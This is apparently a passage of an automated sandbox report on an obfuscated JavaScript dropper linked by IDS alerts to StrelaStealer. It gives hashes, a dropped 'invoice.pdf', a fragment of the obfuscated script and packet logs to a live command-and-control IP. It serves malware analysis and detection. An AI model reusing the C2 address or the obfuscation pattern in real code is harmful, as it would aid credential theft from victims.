).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15020), with CRLF line terminators
Entropy (8bit):	4.88814220438106
TrID:
File name:	201672639780846903.js
File size:	18'574 bytes
MD5:	665411eb9f4f19077cab0acbaaebcd38
SHA1:	91951028b5cec8a5c0e98e502a42e42eaf6c12a4
SHA256:	a39aa5681156ed066e1c0ce91db31210739d6e9a602eeda0af5490b8e185132e
SHA512:	bd361189f54b4a4f3c59ba13c790fcc69f34029191d48ca007346550c4e1cfbdeb092f65a2368b8abdef8d0760d181e768e26114b43f8c6b6aef244042cfc15d
SSDEEP:	384:GXg++d+mqyG+2H++d+ml/G+518ZmSd0TMO/Gqo1Hj/ydNOMnJ58q2tWp4ZJcuvBy:GXD+wgd2e+wE/G+5185d0TMO/Gqo1HjY
TLSH:	688265C219174F1B8CDEA8B0226B811D01F502DD4E9A73D5951AE54E1B48F3EEED3EB8
File Content Preview:	function udlsddfc(){zkatnglss=[1031,3079,5127,4103,2055,3072];var poxyr=this[ttvuzotbt+mcoccvum+vaecrq+mamcgbtz+suzimjmum+scsnubp+suaowwea+rdapr](this[hdvueun+haugqjan+pratzzr+vaecrq+laotto+ttvuzotbt+rdapr][xbfyvaz+vaecrq+suzimjmum+mcoccvum+rdapr+suzimjmu

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:08:36.138283+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T06:08:36.138283+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T06:08:38.716100+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:08:35.349152088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:35.354214907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:35.354413986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:35.358155012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:35.363024950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.138144016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.138195038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.138283014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.138546944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.138569117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.138581991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.138622046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.138634920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.138634920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.138660908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.138684034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.138695955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.138708115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.138730049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.138760090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.143202066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.143214941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.143225908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.143299103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.184381962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.184398890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.184504032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.259443045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.259469032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.259481907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.259495974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.259509087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.259548903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.259613037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.259901047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.259912968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.259953022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.259982109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.259994984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.260006905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.260018110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.260024071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.260034084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.260045052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.260046959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.260073900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.260843992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.260855913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.260867119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.260879040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.260888100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.260893106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.260907888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.260920048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.260938883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.261749983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.261763096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.261775017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.261797905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.261828899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.316957951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.317007065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.317022085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.317105055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.347865105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.347989082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.387749910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.387764931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.387785912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.387799025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.387810946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.387834072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.387846947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.387885094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.387954950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.388178110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.388190031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.388201952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.388228893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.388240099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.388246059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.388252974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.388267040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.388293028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.388338089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.388379097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.389074087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.389086962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.389095068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.389133930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.389180899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.389192104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.389204025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.389216900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.389225960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.389242887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.389998913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.390011072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.390022993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.390054941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.390094995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.390094995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.390108109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.390120029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.390131950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.390140057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.390171051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.390964985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.390976906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.390988111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.391007900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.391019106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.391026974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.391031027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.391042948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.391048908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.391087055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.391833067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.391844988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.391855955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.391886950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.391889095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.391902924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.391906977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.391952991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.405289888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.405340910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.405352116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.405359030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.405416965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.405447006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.425627947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.425642967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.425743103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.436429977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.436446905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.436482906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.436492920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.436553955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.436553955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.468354940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.468372107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.468439102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.500443935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500459909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500473022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500523090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500524998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.500539064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500550985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500561953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500570059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.500603914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.500777006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500790119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500802040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500823975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.500854015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.500926018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500938892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500951052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.500977039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.501125097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501173019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.501224995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501238108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501249075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501272917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.501288891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501301050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501317024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501329899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501333952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.501358986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.501861095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501873016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501884937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501898050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501908064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.501910925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501924992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501936913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.501940012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.501955986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.501976013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.502305031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502319098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502340078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502363920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.502389908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502403975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502415895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502429008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502439976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.502460003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.502501965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502515078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502526999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502540112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502547979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.502552986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.502568960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.502603054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.503292084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503303051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503323078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503370047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.503376007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503388882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503401041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503413916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503433943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.503456116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.503539085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503552914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503565073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503576040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503590107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.503591061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.503597975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.503634930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.504317045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.504332066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.504367113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.514128923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.514141083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.514152050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.514163971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.514188051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.514230967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.524941921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.524955988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.524967909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.524975061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.524985075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.524991035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.525053024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.525053978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.556834936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.556854010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.556859970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.556868076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.556965113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.588980913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.588999987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589011908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589023113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589039087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589054108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589068890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589096069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589109898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589119911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589123011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.589134932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589167118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.589189053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.589276075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589297056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589308977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589318991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.589322090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589348078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.589447975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589461088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589473009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589494944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.589514971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589515924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.589540958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589553118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589562893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589576006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589586020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.589617014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.589682102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589728117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.589884043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589895010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.589906931 CET	80	49704	193.143.1.205	192.168.2.5
